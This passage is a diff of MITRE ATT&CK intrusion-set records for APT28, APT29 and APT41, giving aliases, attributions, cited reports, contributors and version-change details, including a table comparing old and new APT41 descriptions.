"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Leonard TAG 2023", + "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", + "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "url": "https://www.justice.gov/opa/page/file/1098481/download" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.", + "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF" + }, + { + "source_name": "NSA/FBI Drovorub August 2020", + "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.", + "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF" + }, + { + "source_name": "SecureWorks TG-4127", + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", + "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.", + "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures" + }, + { + "source_name": "Secureworks IRON TWILIGHT Profile", + "description": "Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-twilight" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "S\u00e9bastien Ruel, CGI", + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:31:01.968000+00:00\", \"old_value\": \"2024-04-04 19:07:48.903000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.1\", \"old_value\": \"5.0\"}}}", + "previous_version": "5.0", + "version_change": "5.0 \u2192 5.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:52.748000+00:00", + "modified": "2024-09-03 18:48:32.299000+00:00", + "name": "APT29", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)", + "aliases": [ + "APT29", + "IRON RITUAL", + "IRON HEMLOCK", + "NobleBaron", + "Dark Halo", + "NOBELIUM", + "UNC2452", + "YTTRIUM", + "The Dukes", + "Cozy Bear", + "CozyDuke", + "SolarStorm", + "Blue Kitsune", + "UNC3524", + "Midnight Blizzard" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0016", + "external_id": "G0016" + }, + { + "source_name": "CozyDuke", + "description": "(Citation: Crowdstrike DNC June 2016)" + }, + { + "source_name": "Cozy Bear", + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)" + }, + { + "source_name": "The Dukes", + "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)" + }, + { + "source_name": "APT29", + "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)" + }, + { + "source_name": "UNC2452", + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)" + }, + { + "source_name": "UNC3524", + "description": "(Citation: Mandiant APT29 Eye Spy Email Nov 22)" + }, + { + "source_name": "Midnight Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "YTTRIUM", + "description": "(Citation: Microsoft Unidentified Dec 2018)" + }, + { + "source_name": "NOBELIUM", + "description": "(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)" + }, + { + "source_name": "Blue Kitsune", + "description": "(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)" + }, + { + "source_name": "IRON HEMLOCK", + "description": "(Citation: Secureworks IRON HEMLOCK Profile)" + }, + { + "source_name": "IRON RITUAL", + "description": "(Citation: Secureworks IRON RITUAL Profile)" + }, + { + "source_name": "NobleBaron", + "description": "(Citation: SentinelOne NobleBaron June 2021)" + }, + { + "source_name": "SolarStorm", + "description": "(Citation: Unit 42 SolarStorm December 2020)" + }, + { + "source_name": "Dark Halo", + "description": "(Citation: Volexity SolarWinds)" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Volexity SolarWinds", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "ESET Dukes October 2019", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" + }, + { + "source_name": "SentinelOne NobleBaron June 2021", + "description": "Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.", + "url": "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/" + }, + { + "source_name": "Mandiant APT29 Eye Spy Email Nov 22", + "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Unidentified Dec 2018", + "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.", + "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" + }, + { + "source_name": "MSTIC NOBELIUM May 2021", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" + }, + { + "source_name": "MSRC Nobelium June 2021", + "description": "MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.", + "url": "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/" + }, + { + "source_name": "MSTIC Nobelium Toolset May 2021", + "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/" + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" + }, + { + "source_name": "NCSC APT29 July 2020", + "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.", + "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf" + }, + { + "source_name": "Cybersecurity Advisory SVR TTP May 2021", + "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", + "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf" + }, + { + "source_name": "NSA Joint Advisory SVR SolarWinds April 2021", + "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", + "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF" + }, + { + "source_name": "PWC WellMess C2 August 2020", + "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020.", + "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html" + }, + { + "source_name": "PWC WellMess July 2020", + "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.", + "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html" + }, + { + "source_name": "Secureworks IRON HEMLOCK Profile", + "description": "Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.", + "url": "http://www.secureworks.com/research/threat-profiles/iron-hemlock" + }, + { + "source_name": "Secureworks IRON RITUAL Profile", + "description": "Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-ritual" + }, + { + "source_name": "UK Gov Malign RIS Activity April 2021", + "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.", + "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services" + }, + { + "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021", + "description": "UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.", + "url": "https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise" + }, + { + "source_name": "UK NSCS Russia SolarWinds April 2021", + "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", + "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise" + }, + { + "source_name": "Unit 42 SolarStorm December 2020", + "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/" + }, + { + "source_name": "White House Imposing Costs RU Gov April 2021", + "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.", + "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group", + "Katie Nickels, Red Canary", + "Joe Gumke, U.S. Bank", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "6.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-03 18:48:32.299000+00:00\", \"old_value\": \"2024-04-12 21:15:41.833000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"6.1\", \"old_value\": \"6.0\"}}, \"iterable_item_removed\": {\"root['aliases'][5]\": \"StellarParticle\", \"root['external_references'][3]\": {\"source_name\": \"StellarParticle\", \"description\": \"(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022)\"}}}", + "previous_version": "6.0", + "version_change": "6.0 \u2192 6.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23 13:43:36.945000+00:00", + "modified": "2024-10-10 14:31:35.326000+00:00", + "name": "APT41", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n", + "aliases": [ + "APT41", + "Wicked Panda", + "Brass Typhoon", + "BARIUM" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0096", + "external_id": "G0096" + }, + { + "source_name": "Wicked Panda", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, + { + "source_name": "APT41", + "description": "(Citation: FireEye APT41 2019)" + }, + { + "source_name": "Brass Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BARIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + }, + { + "source_name": "FireEye APT41 2019", + "description": "FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "apt41_mandiant", + "description": "Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Group IB APT 41 June 2021", + "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", + "url": "https://www.group-ib.com/blog/colunmtk-apt41/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Nikita Rostovcev, Group-IB" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:31:35.326000+00:00\", \"old_value\": \"2024-04-03 15:20:38.791000+00:00\"}, \"root['description']\": {\"new_value\": \"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\\n\", \"old_value\": \"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1 +1 @@\\n-[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\\n+[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"apt41_mandiant\", \"description\": \"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.\", \"url\": \"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf\"}}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[APT41](https://attack.mitre.org/groups/G0096) is a threat gt1[APT41](https://attack.mitre.org/groups/G0096) is a threat g
>roup that researchers have assessed as Chinese state-sponsor>roup that researchers have assessed as Chinese state-sponsor
>ed espionage group that also conducts financially-motivated >ed espionage group that also conducts financially-motivated 
>operations. Active since at least 2012, [APT41](https://atta>operations. Active since at least 2012, [APT41](https://atta
>ck.mitre.org/groups/G0096) has been observed targeting healt>ck.mitre.org/groups/G0096) has been observed targeting vario
>hcare, telecom, technology, and video game industries in 14 >us industries, including but not limited to healthcare, tele
>countries. [APT41](https://attack.mitre.org/groups/G0096) ov>com, technology, finance, education, retail and video game i
>erlaps at least partially with public reporting on groups in>ndustries in 14 countries.(Citation: apt41_mandiant) Notable
>cluding BARIUM and [Winnti Group](https://attack.mitre.org/g> behaviors include using a wide range of malware and tools t
>roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr>o complete mission objectives. [APT41](https://attack.mitre.
>oup IB APT 41 June 2021) >org/groups/G0096) overlaps at least partially with public re
 >porting on groups including BARIUM and [Winnti Group](https:
 >//attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Au
 >g 2019)(Citation: Group IB APT 41 June 2021) 
